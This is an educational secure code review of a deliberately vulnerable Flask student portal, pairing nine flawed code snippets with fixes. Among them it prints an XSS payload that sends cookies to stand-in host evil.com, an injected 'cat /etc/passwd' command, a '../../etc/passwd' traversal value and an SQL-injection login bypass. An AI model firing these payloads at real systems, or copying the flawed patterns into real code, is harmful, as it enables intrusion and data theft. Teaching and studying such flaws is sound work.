Secure Coding Review

Security Vulnerability Assessment Report

Target Application	Student Portal Web Application (Flask/Python)
Language / Framework	Python 3.x / Flask
Review Type	Manual Code Inspection + Static Analysis
Conducted By	CodeAlpha Cybersecurity Intern
Date	May 08, 2026
Classification	CONFIDENTIAL — Educational Purposes Only

3	4	2	0
CRITICAL	HIGH	MEDIUM	LOW

Total vulnerabilities found across 9 categories. Immediate remediation required for CRITICAL findings.

Executive Summary

This report presents the findings of a manual secure code review conducted on a Python/Flask-based Student Portal web application. The review was performed as part of the CodeAlpha Cybersecurity Internship program to identify security vulnerabilities, assess their risk, and provide actionable remediation guidance.

The audit identified **9 distinct vulnerabilities** spanning authentication, input validation, session management, and application configuration. Three vulnerabilities are rated **CRITICAL** and represent immediate risks of complete system compromise. These include SQL Injection (VULN-02), Insecure Deserialization (VULN-05), and Command Injection (VULN-06) — all of which can lead to Remote Code Execution (RCE) or full data exfiltration.

Scope of Review

File Reviewed	vulnerable_app.py — Student Portal (Flask application)
Lines of Code	~100 LOC
Review Method	Manual code inspection + CWE/OWASP Top 10 checklist
Standards Applied	OWASP Top 10 (2021), CWE/SANS Top 25, PEP 8 Security Guidelines

Risk Summary

Vuln ID	Title	Severity	CWE
VULN-01	Hardcoded Weak Secret Key	HIGH	CWE-321
VULN-02	SQL Injection	CRITICAL	CWE-89
VULN-03	Weak Password Hashing (MD5)	HIGH	CWE-916
VULN-04	Cross-Site Scripting (XSS)	HIGH	CWE-79
VULN-05	Insecure Deserialization (Pickle RCE)	CRITICAL	CWE-502
VULN-06	Command Injection	CRITICAL	CWE-78
VULN-07	Path Traversal	HIGH	CWE-22
VULN-08	Insecure Direct Object Reference (IDOR)	MEDIUM	CWE-639
VULN-09	Debug Mode Enabled in Production	MEDIUM	CWE-94

Detailed Findings

VULN-01 Hardcoded Weak Secret Key — HIGH

Location: Line 15 **CWE:** CWE-321

Description

The Flask application uses a hardcoded, weak secret key ('admin123'). This key is used to sign session cookies. If an attacker discovers it, they can forge session tokens and impersonate any user, including administrators.

Vulnerable Code

```
# app.py — Line 15

app.secret_key = "admin123" # ■ Hardcoded weak secret
```

Recommended Fix

```
import os

app.secret_key = os.environ.get("FLASK_SECRET_KEY") # ■ Load from environment
```

Impact
Session hijacking, privilege escalation, full account takeover.

Recommendation
Generate a cryptographically secure random key (e.g., using os.urandom(32)) and store it as an environment variable. Never commit secrets to source control. Use a secrets manager (e.g., AWS Secrets Manager, HashiCorp Vault) in production.

VULN-02 SQL Injection — CRITICAL

Location: Lines 22–32 **CWE:** CWE-89

Description

User-supplied input (username and password) is directly interpolated into an SQL query string using Python f-strings. An attacker can inject malicious SQL to bypass authentication, extract the entire database, or delete data. For example, entering admin'-- as the username bypasses the password check entirely.

Vulnerable Code

```
# VULN-02: Direct string interpolation — SQL Injection

query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"

cur.execute(query) # ■ Executes attacker-controlled SQL
```

Recommended Fix

```
# Use parameterized queries
```

```
query = "SELECT * FROM users WHERE username=? AND password=?"

cur.execute(query, (username, hashed_password)) # ■ Parameters are safely escaped
```

Impact
Authentication bypass, full database exfiltration, data destruction.

Recommendation
Always use parameterized queries or prepared statements. Never concatenate user input into SQL strings. Use an ORM (e.g., SQLAlchemy) which handles this automatically. Apply the principle of least privilege to database accounts.

VULN-03 Weak Password Hashing (MD5) — HIGH

Location: Lines 38–44 **CWE:** CWE-916

Description

Passwords are hashed using MD5, which is a cryptographically broken algorithm for password storage. MD5 hashes can be cracked in milliseconds using rainbow tables or GPU-accelerated brute-force. Additionally, no salt is applied, making identical passwords produce identical hashes.

Vulnerable Code

```
hashed = hashlib.md5(password.encode()).hexdigest() # ■ MD5 is broken for passwords
```

Recommended Fix

```
import bcrypt

hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt()) # ■ bcrypt with
auto-generated salt
```

Impact
Mass password compromise if database is breached.

Recommendation
Use a purpose-built password hashing algorithm: bcrypt, scrypt, or Argon2id (recommended by OWASP). These are slow by design, resistant to GPU attacks, and automatically handle salting. Never use MD5, SHA-1, or SHA-256 directly for password hashing.

VULN-04 Cross-Site Scripting (XSS) — HIGH

Location: Lines 49–57 **CWE:** CWE-79

Description

The search endpoint renders the user-supplied query parameter directly into HTML without any sanitization or escaping. An attacker can inject JavaScript code into the URL that will execute in victims' browsers — stealing session cookies, redirecting users, or performing actions on their behalf.

Vulnerable Code

```
query = request.args.get("q", "")

html = f"...<h2>Results for: {query}</h2>..."

# ■ Attacker payload:
?q=<script>document.location='evil.com/steal?c='+document.cookie</script>
```

Recommended Fix

```
from markupsafe import escape

safe_query = escape(query) # ■ Escape HTML special characters

html = f"...<h2>Results for: {safe_query}</h2>..."
```

Impact
Session hijacking, credential theft, defacement, phishing.

Recommendation
Always escape user-supplied data before rendering in HTML using markupsafe.escape(). Use Flask's render_template() instead of render_template_string() — Jinja2 escapes variables by default. Implement a strict Content Security Policy (CSP) header.

VULN-05 Insecure Deserialization (Pickle RCE) — CRITICAL

Location: Lines 63–67 **CWE:** CWE-502

Description

The application deserializes user-supplied data using Python's pickle module. Pickle deserialization of untrusted data is inherently unsafe — an attacker can craft a malicious pickle payload that executes arbitrary operating system commands when deserialized, achieving full Remote Code Execution (RCE) on the server.

Vulnerable Code

```
data = request.form.get("profile_data")

profile = pickle.loads(bytes.fromhex(data)) # ■ CRITICAL: RCE via crafted pickle
payload
```

Recommended Fix

```
import json

profile = json.loads(data) # ■ Use JSON for safe data exchange
```

Impact
Full Remote Code Execution — complete server compromise.

Recommendation
Never deserialize data from untrusted sources using pickle, marshal, or yaml.load(). Use safe serialization formats like JSON, which cannot execute code. If complex serialization is needed, use signed/encrypted tokens (e.g., JWT) to verify data integrity before processing.

VULN-06 Command Injection — CRITICAL

Location: Lines 72–75 **CWE:** CWE-78

Description

The ping endpoint passes a user-controlled 'host' parameter directly to a shell command via subprocess.check_output with shell=True. An attacker can inject additional commands using shell metacharacters (;, |, &&) to execute arbitrary commands on the server. For example: ?host=8.8.8.8; cat /etc/passwd

Vulnerable Code

```
host = request.args.get("host")

result = subprocess.check_output(f"ping -c 1 {host}", shell=True) # ■ Shell injection via host param
```

Recommended Fix

```
import re

# Validate input is a valid IP or hostname

if not re.match(r"^[a-zA-Z0-9.\-]{1,253}$", host): abort(400)

result = subprocess.check_output(["ping", "-c", "1", host]) # ■ List args, no shell=True
```

Impact
Full server compromise, data exfiltration, lateral movement.

Recommendation
Never pass user input directly to shell commands. Use subprocess with a list of arguments (shell=False). Validate and whitelist all inputs with strict regex. Avoid shell=True entirely. Consider whether the functionality is necessary at all.

VULN-07 Path Traversal — HIGH

Location: Lines 80–84 **CWE:** CWE-22

Description

The download endpoint constructs a file path by joining a base directory with a user-supplied filename without any validation. An attacker can supply '../' sequences to escape the intended directory and read arbitrary files on the server, such as /etc/passwd, private keys, or application configuration files.

Vulnerable Code

```
filename = request.args.get("file")

filepath = os.path.join("/var/app/uploads", filename) # ■ ?file=../../etc/passwd bypasses this
```

```
with open(filepath) as f: return f.read()
```

Recommended Fix

```
base = os.path.realpath("/var/app/uploads")

requested = os.path.realpath(os.path.join(base, filename))

if not requested.startswith(base): abort(403) # ■ Reject traversal attempts
```

Impact	Recommendation
Arbitrary file read — credentials, keys, source code disclosure.	Use os.path.realpath() to resolve the canonical path and verify it starts with the intended base directory. Use werkzeug's secure_filename() to sanitize filenames. Serve user-uploaded files from a dedicated object store (S3, GCS) rather than the filesystem when possible.

VULN-08 Insecure Direct Object Reference (IDOR) MEDIUM

Location: Lines 89–94 **CWE:** CWE-639

Description

The grades endpoint accepts a student_id parameter from the URL and queries the database without verifying that the currently logged-in user is authorized to view that student's grades. Any authenticated user can access any other student's data by simply changing the ID in the URL.

Vulnerable Code

```
@app.route("/student/<student_id>/grades")

def get_grades(student_id):

# ■ No authorization check — any user can access any grades

cur.execute(f"SELECT * FROM grades WHERE student_id={student_id}")
```

Recommended Fix

```
def get_grades(student_id):

current_user = session.get("user_id")

if str(current_user) != str(student_id): abort(403) # ■ Verify ownership
```

Impact	Recommendation
Unauthorized access to all students' private academic records.	Always verify that the authenticated user is authorized to access the requested resource. Implement proper access control checks at both the route and data layer. Consider using indirect references (UUIDs or tokens) instead of sequential IDs.

VULN-09 Debug Mode Enabled in Production — MEDIUM

Location: Line 99 **CWE:** CWE-94

Description

The application runs with Flask's debug mode enabled (debug=True) and binds to all network interfaces (host='0.0.0.0'). Debug mode exposes an interactive Python debugger accessible from the browser, which allows arbitrary code execution. It also exposes detailed stack traces that reveal internal application logic, file paths, and library versions.

Vulnerable Code

```
app.run(debug=True, host="0.0.0.0") # ■ Exposes debugger; accessible from all
interfaces
```

Recommended Fix

```
debug_mode = os.environ.get("FLASK_DEBUG", "false").lower() == "true"

app.run(debug=debug_mode, host="127.0.0.1") # ■ Controlled via env var; local only
```

Impact

Remote code execution via debug console; information disclosure.

Recommendation

Disable debug mode in production. Use environment variables to control debug settings. Deploy using a production WSGI server (e.g., Gunicorn, uWSGI) instead of Flask's built-in server. Bind only to necessary interfaces.

Remediation Recommendations

The following prioritized actions are recommended to remediate all identified vulnerabilities. Critical findings should be addressed immediately before the application is deployed.

Immediate (Critical)

- VULN-02: Replace all string-interpolated SQL with parameterized queries.
- VULN-05: Remove all use of pickle for user-supplied data; use JSON instead.
- VULN-06: Validate all shell command inputs; use subprocess with list args, shell=False.

Short-Term (High)

- VULN-01: Store the Flask secret key in an environment variable; rotate immediately.
- VULN-03: Migrate password hashing to bcrypt or Argon2id.
- VULN-04: Escape all user input before rendering in HTML; use Jinja2 auto-escaping.
- VULN-07: Validate file paths using os.path.realpath() to prevent directory traversal.

Medium-Term (Medium)

- VULN-08: Implement authorization checks to verify resource ownership on all data routes.
- VULN-09: Disable debug mode in production; use environment variable controls.

General Security Best Practices

- Adopt the OWASP Top 10 as a baseline security checklist for all web applications.
- Integrate static analysis tools (Bandit for Python, Semgrep) into the CI/CD pipeline.
- Apply the Principle of Least Privilege to all database users and service accounts.
- Conduct regular security code reviews and penetration testing before production releases.
- Train all developers on secure coding practices aligned with OWASP and CWE guidelines.
- Implement logging and monitoring to detect and respond to attacks in real time.

This report was produced as part of the CodeAlpha Cybersecurity Internship Program. All code samples used in this review were created specifically for educational purposes. For questions, contact: services@codealpha.tech